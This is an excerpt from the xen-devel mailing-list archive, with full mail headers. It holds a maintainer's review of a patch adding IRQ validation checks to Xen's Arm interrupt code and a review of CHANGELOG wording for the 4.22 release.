 id 1wi8C9-00GU5F-Dc
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:10:57 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a50c525-2eae-0a2a0a5409dd-0a2a450aabf6-36
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:10:56 +0200
Received: from [40.107.200.54]
 (helo=CH5PR02CU005.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a50c52f-ec7d-0a2a450a0019-286bc836bb3a-4
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:10:56 +0200
Received: from BN9PR03CA0970.namprd03.prod.outlook.com (2603:10b6:408:109::15)
 by CY3PR12MB9678.namprd12.prod.outlook.com (2603:10b6:930:101::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Fri, 10 Jul
 2026 10:10:52 +0000
Received: from BN2PEPF000055DC.namprd21.prod.outlook.com
 (2603:10b6:408:109:cafe::8) by BN9PR03CA0970.outlook.office365.com
 (2603:10b6:408:109::15) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Fri,
 10 Jul 2026 10:10:51 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BN2PEPF000055DC.mail.protection.outlook.com (10.167.245.6) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.223.0 via Frontend Transport; Fri, 10 Jul 2026 10:10:51 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 05:10:51 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 05:10:51 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 05:10:49 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=bPcSPNWXEY/6pmMuprSdiMAfg7HgTbjqlrNhDo53rNeHlSn7mx66c8XAs4V22DRvTbgaTGXOQa9SRe9NvPCWA/i+QdDTNteD8/qLcWRzcTYplkrhgmw9AUmotYAVPniMxghWxh/CVvQ5U9K84420ZceOHO2W74Wqi3hqdIQL5F5h7EElvqZ3gTXTXttECkR2Uzf8gyUP0H2L6BReHSjcWWtQ3aXO/ObbWta71+UjrGfCF6vtsv4d7rNqY2Fkr+A0Ytw/amnjKyP1ADQAQ8UGdqUhLpa8v2eTE5S8AROy6sFB+69OltcHY0FId7JtqiOJ7OKmYEViyO5TE0+Q6dCrdQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=eUsa9Mbd+fx4ThZAf+bSccMSz/Od22pJBafQPExtXdQ=;
 b=a52Iu/Rwze5xNDoxlJdhumu4QQs7E9X3QMk5FNnAnZr4NECbQk8cfqWX2TXPUFRVUWi/SduNnHgDLzTBWVvPvN3uhICgGx/dRB6BT7qoKY88Dj1J20iZhsZCF4Iig0/dpQYqkLBBG3ixhFJomBfzIILmjyFyj1d92ggnF1272UDdnf5CYnicDlQ2TOLiTHE+Ug8SV/BBaB7lpqpj6ibv2hFor9nuIlBlyp3tXj1i8QWTjDs1yCEDJCEgKiBEISgZPO8kxVsp0N8H7MHCHyAQAkam4TP+VcMs1K4yoePDW6/algk0N0U18x1UXdMkFE0HkVvm/1z6pBUjTC432nORqw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=eUsa9Mbd+fx4ThZAf+bSccMSz/Od22pJBafQPExtXdQ=;
 b=jrQoMCGfBE+6UYz505XFtr7CfjJutvvFXdaE8IMGesnc1cyABTsfv3IJtS9xsqsnMGayhhDPeK/DmjgTeXzsltvluLz+e54kGCzl2HMBXaRADpoq2QwNQZVgPY2FpUUWZsDKKsrgiTGcahDh5eIGw+piT3vvXefvl+ohUnyj0EA=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
Date: Fri, 10 Jul 2026 12:10:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor
 lookup
To: Mykola Kvach <mykola_kvach@epam.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN2PEPF000055DC:EE_|CY3PR12MB9678:EE_
X-MS-Office365-Filtering-Correlation-Id: 12645787-d87b-4d6b-16d2-08dede6b8575
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|1800799024|23010399003|36860700016|82310400026|22082099003|4143699003|18002099003|11063799006|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	WgyD5wf4b6Sx3NR6dAYbsv0oIAnW8CUIWoUNqZPywiQq52cRllIRqrId6aYgN5nWZQdzPd7LwXZqLhf84NtnsiETrFMbXinfxpyOfTY9PUklVzm46e4doOq2d6EHfPkMSkiRbCVEVMuvOvzv6bt81wR5KeSyxjKZmLqIA9R68PJkEUsIrzaljKKf1KiIeg1VgBaPEB0pVOTciNiPasLP9iQozg4oxdx/XOQ4fg4vM1/tBBt7e9XAQ1cvqFAYldxAekkyTuxv7kp1ZMLkjVRKcSu0vZL0T5/cdxdWVjkB59PoMCkvdtLCncghjC0byFeh/3Qx9oQbIqvDf9G0WtwnDjSMJ/edilDihSgjEw7Ng5ky8cqarlngsU0Ucc9dBYG0MoE3UHY7Yv4xBgC1duzANWhZgVFDf3npEoz9bUEbL6ZdIQFbOZS8fE8So7Vvi8lthIkU+96j8JRX2VdBAxO9Ro4gYBvKGCfV3FmHier+hp4ThV0FWClmsEYGrb+EdTBGThp6OZRVa5glmtS/0aPwnfwsQyvlnv3cXnOC0S6AIfSvDeVZgGlzAvnhAtCTHhrrUZby+aUB06qwKT24iiNoQJf0g0HEUUqQfYFwOZR9HAf6InY4WrzlUKpzFAaHf82+udJXMKl3p1LMwzCe2zMilnl/S8Q5uIx/yrHYBUR5Ce9XJa9/3hpaGCQZluHSurRxUReA4Ow7TWw5SNF9wTQ27Q==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(1800799024)(23010399003)(36860700016)(82310400026)(22082099003)(4143699003)(18002099003)(11063799006)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	Jq3mX7URQoXyQqAPJig2d8pXCciZ+lRRHU6l4Ij4XUSmFKtUIqV/jGva7DV+h6lg3afQ71aA/17t5/PMK3cP/44Zbhc6l/hdLKqMIA8QRr/OCre3kT9GkoAPiDdVBQJFcieF9T5HLToW3l3rHba37bOtdD+B1HXpCpNeIxWupIPi5OpQubWFRV6KtXKk8jkdCB+rwW6yoDPNRTUaSgEMtj3mVpLDDfnV6NyJHl7+Ps83H1u0SDaKCbzaKIrKkSfHJPtZpCZSlEr5AVh9BQYkTT4CLOmFHNwtVPHKe4L16ve9W6ym6HICWBk0AwzjQstrfZTdaXweNxKdhSjdp/8EQTM8dLFwYkAO+Nr5h2fOcO9xOJEnv9Ygsndhboe/PPjZ3+uM+kVWkrUhiFR6HhcrXNWcK4bT4yLPw9J60vCB7sznYmWZkCatdmhsrY1loCvj
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 10:10:51.4707
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 12645787-d87b-4d6b-16d2-08dede6b8575
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN2PEPF000055DC.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY3PR12MB9678
X-purgate-ID: tlsNG-4011c0/1783678256-3E56E248-6AA3B7AB/0/0
X-purgate-type: clean
X-purgate-size: 3222



On 10-Jul-26 10:31, Mykola Kvach wrote:
> With GICv3 eSPI support, nr_irqs covers the architectural INTID
> namespace up to ESPI_MAX_INTID. That namespace is not backed by a
> single dense irq_desc[] array: regular SPIs use irq_desc[], eSPIs use
> espi_desc[], and the INTIDs in between must not be treated as
> descriptor indices.
> 
> A firmware-provided interrupt in the sparse range can therefore pass
> checks based only on nr_irqs and reach irq_to_desc().
What are the possible consequences? You should explain it in the commit msg.
Also, what is your criteria behind protecting irq_to_desc()? There are other
places, where we have unprotected irq_to_desc(). Last but not least I think we
should have an ASSERT in __irq_to_desc() to prevent the indexing failure if we
end up there with a sparse IRQ accidentally.

The change itself looks ok.

~Michal
> 
> Validate IRQs with the GIC line helpers before looking up descriptors
> in setup_irq(). Also validate SPI type configuration with gic_is_spi()
> before irq_set_spi_type() obtains the descriptor, covering the
> platform_get_irq() -> irq_set_type() path. The route-to-Xen assert
> becomes redundant because setup_irq() now rejects invalid IRQs before
> routing.
> 
> Fixes: 98f7060b9ed ("xen/arm/irq: add handling for IRQs in the eSPI range")
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---
>  xen/arch/arm/gic.c | 2 --
>  xen/arch/arm/irq.c | 9 +++++++--
>  2 files changed, 7 insertions(+), 4 deletions(-)
> 
> diff --git a/xen/arch/arm/gic.c b/xen/arch/arm/gic.c
> index ee75258fc3..ed9870c1bd 100644
> --- a/xen/arch/arm/gic.c
> +++ b/xen/arch/arm/gic.c
> @@ -111,8 +111,6 @@ static void gic_set_irq_priority(struct irq_desc *desc, unsigned int priority)
>  void gic_route_irq_to_xen(struct irq_desc *desc, unsigned int priority)
>  {
>      ASSERT(priority <= 0xff);     /* Only 8 bits of priority */
> -    /* Can't route interrupts that don't exist */
> -    ASSERT(gic_is_valid_line(desc->irq));
>      ASSERT(test_bit(_IRQ_DISABLED, &desc->status));
>      ASSERT(spin_is_locked(&desc->lock));
>  
> diff --git a/xen/arch/arm/irq.c b/xen/arch/arm/irq.c
> index 73e58a5108..0314cf0b6e 100644
> --- a/xen/arch/arm/irq.c
> +++ b/xen/arch/arm/irq.c
> @@ -416,6 +416,9 @@ int setup_irq(unsigned int irq, unsigned int irqflags, struct irqaction *new)
>      struct irq_desc *desc;
>      bool disabled;
>  
> +    if ( !gic_is_valid_line(irq) )
> +        return -EINVAL;
> +
>      desc = irq_to_desc(irq);
>  
>      spin_lock_irqsave(&desc->lock, flags);
> @@ -647,13 +650,15 @@ static bool irq_validate_new_type(unsigned int curr, unsigned int new)
>  int irq_set_spi_type(unsigned int spi, unsigned int type)
>  {
>      unsigned long flags;
> -    struct irq_desc *desc = irq_to_desc(spi);
> +    struct irq_desc *desc;
>      int ret = -EBUSY;
>  
>      /* This function should not be used for other than SPIs */
> -    if ( spi < NR_LOCAL_IRQS )
> +    if ( !gic_is_spi(spi) )
>          return -EINVAL;
>  
> +    desc = irq_to_desc(spi);
> +
>      spin_lock_irqsave(&desc->lock, flags);
>  
>      if ( !irq_validate_new_type(desc->arch.type, type) )



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 10:17:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 10:17:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359047.1612831 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8IB-0003GB-0I; Fri, 10 Jul 2026 10:17:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359047.1612831; Fri, 10 Jul 2026 10:17:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8IA-0003G4-Ty; Fri, 10 Jul 2026 10:17:10 +0000
Received: by outflank-mailman (input) for mailman id 1359047;
 Fri, 10 Jul 2026 10:17:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wi8I9-0003Fy-Lm
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:17:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi8I3-006cNu-UV
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:17:03 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a50c699-2eae-0a2a0a5409dd-0a2a450a8fde-20
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:17:03 +0200
Received: from [40.93.198.13]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a50c69d-ec7d-0a2a450a0019-285dc60deda8-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:17:03 +0200
Received: from BLAP220CA0021.NAMP220.PROD.OUTLOOK.COM (2603:10b6:208:32c::26)
 by LV5PR12MB9828.namprd12.prod.outlook.com (2603:10b6:408:304::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.18; Fri, 10 Jul
 2026 10:16:56 +0000
Received: from BL6PEPF0001AB53.namprd02.prod.outlook.com
 (2603:10b6:208:32c:cafe::ad) by BLAP220CA0021.outlook.office365.com
 (2603:10b6:208:32c::26) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Fri,
 10 Jul 2026 10:16:56 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BL6PEPF0001AB53.mail.protection.outlook.com (10.167.241.5) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 10:16:56 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 05:16:56 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 05:16:55 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=VqsdMZouQEFR2CnnUn0zybEauDC8aJ+qDLxegskjjfAUK7Hzb0P7w5JdDOJvng4pxcaaZmxVeMZJXH3R8f+x7E59nEZMz/hClCCGHvcgQ7myNtf9H8J8wbnJFlzS0ib39eD2wJ3y45PzH47lHQpTR+f0iYc451P5096gf+xZc8TgEeYBNhPE0yptorrlNfRitmAMN94K/++McmLzRc1w2ZWyjXet9RJ9DEwG1Cd35kW+WAjzzxW37WdTrkZIqBsIx2rHiAPnKSpGFR4pdKJ8x2/5J0rdTG+RVndrkS1KHaMMfM/ZrAlKnQ+PwNS/oq2sdFctfMkfXq6yjdhSMz76ow==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=z5MMTMbJ0iwQ2EOt8UL4fpowkjMVp8yA6Aw9G4SlyuY=;
 b=wbPrxuhIH/qT02WbXuRXeJOmReCyml6Ubx4c9t7EmJfHCHLNhJ6J3S+Cl72ykgPmOt2/9Lwz8OahMCS33Rzo8bF0qR39R2rOqYQPCN4JIaRXl8Jt7udzZkDDQ2g7SO/4q1Wek2ZfaSspI90b9eLKf1aBtafauJYE7MZPB6MAedMwZ7l14U0Ek1VWycfLjVzbJPj5EZQSuqpFPK+rzWvbGmu7d+7qOxikO1DKHIbaytb0uW8sGbv6vm5wk1Anz17lIA7VMNJoIb8j/wgm9s1WSxia2w1nUSD6xbFYJ80DtPz2Fv8UN+/ZCGDycRAwMTvgHHtFHWs4hO2+JkI9hoaVpA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=gmail.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=z5MMTMbJ0iwQ2EOt8UL4fpowkjMVp8yA6Aw9G4SlyuY=;
 b=Ou6WcXFm4T+YgQclZLlvCdh+tGNuqhdlTliMxgIDe4yc3bBYYGoZ0uP2WNdmxK4lBGXdjnbpFy+/khaTNFFsqr/IDKoCH/GYL6Sg6jVWFHThsFtw8xX18jBfx2EwbnOAWeQd6L+PTn6FmWQKkMkkzZL1tvTmBhnukrzNQI841ks=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <64a5b0c9-7cd1-4017-91b6-fabe6321da9f@amd.com>
Date: Fri, 10 Jul 2026 12:16:55 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	<xen-devel@lists.xenproject.org>
CC: Community Manager <community.manager@xenproject.org>, "committers @
 xenproject . org" <committers@xenproject.org>
References: <3111d0f6481046f6303e6d564ebafd381d763815.1783676659.git.oleksii.kurochko@gmail.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <3111d0f6481046f6303e6d564ebafd381d763815.1783676659.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL6PEPF0001AB53:EE_|LV5PR12MB9828:EE_
X-MS-Office365-Filtering-Correlation-Id: af9bfdb7-becc-48a9-8308-08dede6c5f2c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|1800799024|82310400026|376014|23010399003|13003099007|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	+Oy6PouPvPOc7NdYHT+nQmhgMGNohxgxZ/zr1tUxHh/AWXuV+WPaOl7m89P2HlaDBEfkNFytgglxv3emr+0rewcjuoBtx63P5C8AYL1mSU9c+UF/+tn5NKbVGuk2lPIBcmSzEdJ+x5sBprV2jGq4PqIG321+9+qr9GDgLFvV330+0Uq6+I9AFuMN3oNt5vtR3T+sW0xbyrtmRZ7eA4ga+m+PoEqqIFFBqeyA4eyoA/BXJ/s7s+QhnQXn3a+iF7ULtNLwNVeV+b3FFCwcfz8GCca1rPcmTLafIFTpYFb6kxhIBCTNenORj4zUOLYhF2s9i96yzdJ9AcWXpJE/RCawnpfEl/txmN5uNJqXlbE+DIa2dVMvMcXmM3d/xdBpNYAcH4oXwJtREULt3Pinlu4Jz+JNJfrIjTFtTwqTAFKtH8iujGVLevKdWvhPzpQiIhV2MykFfeDGey3x2Reo66TQe+DjoOvNizhDTjw293vvPWSXGH9Es23J3nsygqlQHPSoEDZeQucdxgBb+dyzZedORkwkJUeOzA58RJZGICJmG/Pmslx6+ilAgs8fd/7OpNd4IKdEuNGqNjrO0oItajb/kWx1jls0Wpyf0UXVOyiV/SKFWb7UpCpIOyfOVjkeSXYsPGW9zchBPAKXbrPKKsgwyA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(1800799024)(82310400026)(376014)(23010399003)(13003099007)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	GovptRg5AY/bezt3KzTq1i2ejILGJoxVLk1AkA3pRDBV3mMyx6F9pGtQfbEZMyERQZTp+LAIZOTVzLuevHE9b576GrNcLy9QisShZ4Mw9SOBxPPQy8KrDuT02Umd+KLqyf1X95bjUR5XYBBDF4Bvp5nw8gnP3ZK0yG1axiYK3ygVJEO+DMOoFdnaK/p9vOj9J0CQAzf8uTuh+IPXTL+gzO1JLgGRA/BR/yKP9NfipYnWGw8SKZACr3Cu3o2Q7XDkUyoejdWSH3zoT7F5OBq/bdOfTJObjWw7pPQvlMamJW76MNdBxfebBcsvv7DJoAXYEenquUM3xagB1WOqpt/THF2m5ByXWRPbLu0MY4vr3MFBk5us5QNXxlafGN6OqR5cnwI4d3dKLP2///9jXHeKedNeUTCXkL40ArbYdPkqg+HLHzFAUwA2gwksAiZe3erk
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 10:16:56.7342
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: af9bfdb7-becc-48a9-8308-08dede6c5f2c
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL6PEPF0001AB53.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV5PR12MB9828
X-purgate-ID: tlsNG-4011c0/1783678623-AF174248-9DD7F360/10/73395122804
X-purgate-type: spam
X-purgate-size: 1155



On 10-Jul-26 11:45, Oleksii Kurochko wrote:
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> ---
>  CHANGELOG.md | 9 +++++++++
>  1 file changed, 9 insertions(+)
> 
> diff --git a/CHANGELOG.md b/CHANGELOG.md
> index 356be88351a9..c6f1fcf5aeec 100644
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -46,6 +46,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
>   - On Arm:
>     - Support for guest suspend and resume to/from RAM via vPSCI.
>       Applies only to non-hardware domain guests.
> +   - Armv8-r MPU support.
It reads as if we completed the support which we didn't. We are just progressing
towards that. Maybe something like "Continued Armv8-R MPU enablement".

> +   - Drop ThumbEE support.
> +   - FF-A v1.2 Support.
s/Support/support/ to match above.

~Michal

> +
> + - On RISC-V:
> +   - SSTC extension support for Xen (not for guest yet)
> +   - Add support of CONFIG_DOMAIN_BUILD_HELPERS which allows to load Linux
> +     kernel, initrd and allocation related things for domain when device-tree
> +     is used.
>  
>  ### Removed
>   - On x86:



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 10:20:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 10:20:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359057.1612840 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8LK-0004uJ-Gl; Fri, 10 Jul 2026 10:20:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359057.1612840; Fri, 10 Jul 2026 10:20:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8LK-0004uC-EC; Fri, 10 Jul 2026 10:20:26 +0000
Received: by outflank-mailman (input) for mailman id 1359057;
 Fri, 10 Jul 2026 10:20:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wi8LJ-0004u6-0T
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:20:25 +0000
